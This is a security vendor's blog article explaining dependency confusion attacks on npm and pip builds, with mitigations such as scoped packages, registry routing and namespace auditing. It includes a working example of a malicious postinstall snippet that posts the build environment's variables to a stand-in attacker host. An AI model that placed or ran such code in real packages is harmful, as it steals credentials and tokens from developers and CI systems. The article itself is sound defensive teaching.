All articles Supply chain

Dependency Confusion Attacks: How They Work and How to Detect Them

Ariel Ben-David

Dependency Confusion Attack Explained

How the Confusion Arises

Package managers like npm, pip, and bundler resolve packages from registries. When organizations build internal libraries, they typically deploy them to a private registry (Artifactory, Nexus, AWS CodeArtifact) and configure the package manager to resolve from there. In some configurations, the package manager falls back to the public registry if a package is not found in the private one, and prefers the higher version number regardless of registry source.

The attack, documented publicly by security researcher Alex Birsan in early 2021, exploits this version-preference behavior. If an organization has an internal package named data-pipeline-utils at version 1.0.0, and an attacker registers a public npm package with the same name at version 9.0.0, build systems configured with fallback-to-public and highest-version-wins resolution will pull the attacker's package. The internal package loses to the higher-versioned public entry.

The confusion is between the internal namespace and the public namespace. The package manager does not distinguish between "this is an internal package that should never come from a public source" and "this is a package with a newer version available." If the resolution policy allows fallback and prefers the public result by version, the attacker wins without injecting any code into the legitimate package.

Where the Attack Surface Sits

This is a build-pipeline vulnerability, not an application code vulnerability. The malicious code executes when the build runs, not when the application runs in production, though the installed dependency will be present in the production artifact if the build succeeds. The attack surface is wherever builds run: developer machines, CI systems, container image build pipelines.

The code inside the malicious package can do anything a Node.js or Python script can do at install time. The postinstall hook in npm executes automatically when a package installs, before any review could catch it. A simple variant exfiltrates environment variables:

const https = require('https');
const os = require('os');

const payload = JSON.stringify({
  hostname: os.hostname(),
  env: process.env
});

const req = https.request({
  hostname: 'collection.attacker.example',
  port: 443,
  path: '/collect',
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': Buffer.byteLength(payload)
  }
});
req.write(payload);
req.end();

This runs silently at npm install. The developer or CI system sees a successful install and proceeds with the build. In CI environments, process.env commonly contains AWS credentials, GitHub tokens, database connection strings, and other secrets that were passed as environment variables to the build job.

Fixing the Resolution Configuration

The primary defenses are configuration changes that prevent internal package names from ever resolving against public registries, regardless of version.

For npm, the recommended approach is to use scoped packages for all internal packages (for example, @yourorg/data-pipeline-utils) and route the scope to your private registry in .npmrc:

@yourorg:registry=https://your-nexus.internal/repository/npm-private/
//your-nexus.internal/repository/npm-private/:_authToken=${NPM_TOKEN}

Scoped packages never look at the public registry because the scope routing takes precedence. Unscoped public packages continue resolving normally. This works because npm requires ownership verification for scope registration, so an attacker cannot register @yourorg on the public registry without controlling your organization account there.

For pip, the equivalent risk arises from using --extra-index-url alongside a private index. When pip has both a private index and PyPI as sources, it may prefer higher versions from PyPI over lower versions from the private index. The safer configuration uses your private index as the only source and proxies public packages through it:

[global]
index-url = https://your-nexus.internal/repository/pypi-group/simple/

Proxying public packages through the private repository gives you a single registry as far as pip is concerned, eliminating the confusion condition. Both Nexus and Artifactory support this proxy-group pattern, where a group repository aggregates your hosted packages and a proxy of PyPI into a single endpoint.

Detection Without Waiting for an Incident

Static scanning for dependency confusion is harder than CVE scanning because there is no fixed list of "confused packages." Detection approaches depend on what you are trying to confirm.

Namespace auditing: Enumerate all internal package names that are not scoped to an organizational namespace. For each, check whether a matching name exists on the public registry with a higher version number. This is a one-time audit that can be automated as a scheduled check. Birsan's original research demonstrated that even large technology companies had not done this check, which is what made the attack possible at scale against them.

Registry scope enforcement in CI: Run a lint check that rejects any package.json, requirements.txt, or Gemfile that references an unscoped internal package name against a known list of internal package names. This requires maintaining that list, but it is bounded and relatively stable.

Artifact provenance verification: Compare installed package checksums against a known-good manifest. This does not prevent confusion but detects if a different artifact than expected was installed, which is a signal that resolution went somewhere unintended.

Why Application Code Scanning Does Not Find This

SAST and SCA tools scan for known-vulnerable packages: CVEs in public libraries, outdated versions, license issues. They do not scan the registry resolution configuration that enables dependency confusion. A codebase that has no CVEs and passes all SCA checks can still be vulnerable to dependency confusion if the package manager is configured to allow external resolution of internal package names.

This is the sense in which the attack surface is in the build pipeline. An application code audit does not reveal it. Reviewing the package manager configuration, the registry topology, and whether internal package names are properly scoped does reveal it. The fix is a one-time configuration change, not ongoing code changes. The risk of not making it is that any build, including a CI build triggered by an external pull request, can exfiltrate credentials from the build environment before any code review takes place.

Tenzai

See findings and fixes together, not just findings.

Free plan available. Connect your first repository in under five minutes.

Start Free Trial

More from the Tenzai blog